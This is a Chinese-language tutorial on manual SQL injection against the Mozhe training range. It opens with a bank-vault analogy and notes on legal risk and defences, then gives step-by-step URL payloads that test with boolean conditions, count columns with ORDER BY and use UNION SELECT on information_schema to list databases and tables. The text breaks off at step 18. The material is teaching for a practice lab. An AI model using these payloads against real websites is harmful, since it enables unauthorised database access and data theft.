为了账号安全,请及时绑定邮箱和手机立即绑定

零基础学习手工SQL注入

标签:
Java

SQL注入介绍

SQL注入,其实就是用户浏览器提交的变量内容,应用程序(代码可能是asp、aspx、php、jsp等)对浏览器提交过来的数据未过滤,直接去数据库查询,导致把数据库里面其他内容(如管理账户和密码)查询返回到页面上。先看个《墨者学院故事会》的一个小故事:

某个镇子里,银行保险柜做为一个公共区域帮居民存储贵重物品,为了防止错拿、多拿他人物品,银行规定:限制每人每次只能带一把开自己保险柜的钥匙,取自己的东西出入。在银行安检门口有个负责检查的安检员,安检员职责就是检查进入银行保险柜取物品的人每次是否只带了一把钥匙。

这个镇子上有多家银行,有个人名字叫“路人甲”,他去A银行取物品,A银行的安检员尽职尽责,对“路人甲”的全身上下、里里外外一丝不苟的检查N遍,确定他只带了一把自己的钥匙后,才放行让他进去取物品;后来“路人甲”去B银行去物品,他发现B银行的安检员是行长的小舅子,岗位就是个摆设,从未来上过班,进入保险柜也无人进行检查。所以“路人甲”带着他和他老婆的钥匙一起带来取,发现成功取到物品后,“路人甲”就多带把螺丝刀,通过安检门,利用螺丝刀打开行长小舅子的柜子,成功取走了他的物品,“路人甲”发现有行长的柜子是用钢板焊的,螺丝刀无法拆开,他就多带了把切割机,通过安检门,花了大功夫用切割机把柜子打开,把行长柜子里的东西全部取走了。

“路人甲”发现这样可以“致富”,他就整天从各个银行逛来逛去,去找安检不严的银行去取他人的东西。每个银行的安检门的摄像头都把他出入记录了下来,终于有一天,有家银行告诉了警察,警察调取了摄像头视频内容,把“路人甲”給逮捕了。根据相关法律法规,“路人甲”涉嫌未授权获取(入侵)他人物品,被判刑入狱。

我们把这个故事里面的每个内容分配个角色:

镇子==互联网

银行==业务系统(网站)

安检门==应用程序(代码)

安检员==过滤非安全代码(如SQL注入、XSS等危险代码)

保险柜的物品==存储在数据库中的数据,可能包含账户密码等敏感数据

小舅子保险柜的物品==业务系统(网站)的管理权限

行长保险柜的物品==服务器(主机)权限

“路人甲”==操作浏览器的人

“路人甲”的钥匙==提交的正常变量内容

“路人甲”的老婆钥匙==提交的测试SQL注入的语句

螺丝刀==提交的SQL注入其他语句

切割机==WebShell或者提权的命令

摄像头==各种日志记录

警察==现实中的警察叔叔

法律法规==《刑法》、《网络安全法》

如果“路人甲”是一个安保公司的人,他来給银行做安全防护,他应该最清楚银行哪些地方是最薄弱的环节。可以給银行做个安全防护,镇上来取物品的人比较多,就多做几个大门(负载均衡),給银行的安检门外多加几层安检通道(防火墙、WAF、IPS、IDS等安全设备),把行长的小舅子换掉(修补漏洞),每天来检查安检人员是否在岗位上工作(定期检测),把保险柜和安检分别放在不同的房间(数据库与应用系统分离),全部摄像头开启(开启日志),除了这之外,还有多种安全防护方式。这里就不在讲故事了,真正到现实的业务系统的加固,是需要根据业务场景来决定的。

在线靶场地址

以下是一个Nginx+PHP+MySQL的业务场景靶场,其中php代码对参数内容未做任何过滤,导致SQL注入的产生,这个是最简单、基础的SQL注入练习环节,需要用户了解MySQL最基础的语法和数据库结构,如果基础较差,请自行补充MySQL基础知识。

MySQL手工注入靶场(本文所描述环境)https://www.mozhe.cn/bug/detail/82

手工SQL注入靶场专题https://www.mozhe.cn/Special/SQL_Injection

手工SQL注入详解

手工SQL注入过程,数据库执行的语句,是页面提交至服务器应用程序,应用程序获取id的值,然后把值拼接到查询语句中,在到数据库中查询,通过程序解析后,把结果返回在页面上,(使用时请将mozhe.cn替换成对应的靶场地址)。

开启靶场环境:

webp

第1步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1

数据库执行语句:select * from news where id=1

页面返回描述:返回内容正常

分析解说:正常浏览页面,找到有参数的地方,如id。

第2步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=1

数据库执行语句:select * from news where id=1 and 1=1

页面返回描述:返回内容正常

分析解说:测试SQL语句。

第3步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2

数据库执行语句:select * from news where id=1 and 1=2

页面返回描述:返回内容为空

分析解说:因为sql语句中,1=2不成立。

第4步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 order by 1

数据库执行语句:select * from news where id=1 order by 1

页面返回描述:返回内容正常

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有1个字段。

第5步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 order by 2

数据库执行语句:select * from news where id=1 order by 2

页面返回描述:返回内容正常

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有2个字段。

第6步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 order by 3

数据库执行语句:select * from news where id=1 order by 3

页面返回描述:返回内容正常

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有3个字段。

第7步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 order by 4

数据库执行语句:select * from news where id=1 order by 4

页面返回描述:返回内容正常

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有4个字段。

第8步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 order by 5

数据库执行语句:select * from news where id=1 order by 5

页面返回描述:返回内容为空

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容不正常,说明字段数少于5个。

第9步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2,3,4

数据库执行语句:select * from news where id=1 and 1=2 union select 1,2,3,4

页面返回描述:在原来的标题上位置显示为2,内容的位置显示为3

分析解说:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段,原本的查询应该是select id,title,contents,times from news where id=1,也就是说title标题是第2个位置显示,contents内容是在第三个位置显示。关于union的语法介绍,请自行补习功课。

第10步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

数据库执行语句:select * from news where id=1 and 1=2 union select 1,database(),version(),4

页面返回描述:在原来的标题上位置显示为mozhe_Discuz_StormGroup,内容的位置显示为5.7.22-0ubuntu0.16.04.1

分析解说:SQL语句中database()是查询当前数据库的名称(语法:select database();),一个服务器上可能有多个数据库,version()是查询当前数据的版本(语法:select version();),这里是这2个内容分别显示在第2、3的位置上,mozhe_Discuz_StormGroup为数据库,5.7.22-0ubuntu0.16.04.1为数据库版本和操作系统的版本。

第11步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

页面返回描述:在原来的标题上位置显示为information_schema,内容的位置显示为3

分析解说:这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容,数据库information_schema是MySQL系统自带的数据库,其中记录了当前数据库系统中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。说白了,就是这个默认自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。information_schema的详细介绍请自行补习(最好是自己安装一个mysql,连上去看看),limit 0,1意思是从第0行起,取1行数据,information_schema为获取的第1个数据库名称。

第12步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1

页面返回描述:在原来的标题上位置显示为mozhe_Discuz_StormGroup,内容的位置显示为3

分析解说:limit 1,1意思是从第1行起,取1行数据,mozhe_Discuz_StormGroup为获取的第2个数据库名称。

第13步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1

页面返回描述:在原来的标题上位置显示为mysql,内容的位置显示为3

分析解说:limit 2,1意思是从第2行起,取1行数据,mysql为获取的第3个数据库名称。

第14步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1

页面返回描述:在原来的标题上位置显示为performance_schema,内容的位置显示为3

分析解说:limit 3,1意思是从第3行起,取1行数据,performance_schema为获取的第4个数据库名称。

第15步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

页面返回描述:在原来的标题上位置显示为sys,内容的位置显示为3

分析解说:limit 4,1意思是从第4行起,取1行数据,sys为获取的第5个数据库名称。

第16步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

页面返回描述:返回内容为空

分析解说:limit 5,1意思是从第5行起,取1行数据,返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。

第17步:

webp

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

页面返回描述:在原来的标题上位置显示为StormGroup_member,内容的位置显示为3

分析解说:查询对应数据库mozhe_Discuz_StormGroup的第1个数据表名称,limit 0,1,第1个表名为StormGroup_member。

第18步:



作者:乖巧小墨宝
链接:https://www.jianshu.com/p/7e94a30ed23b


点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消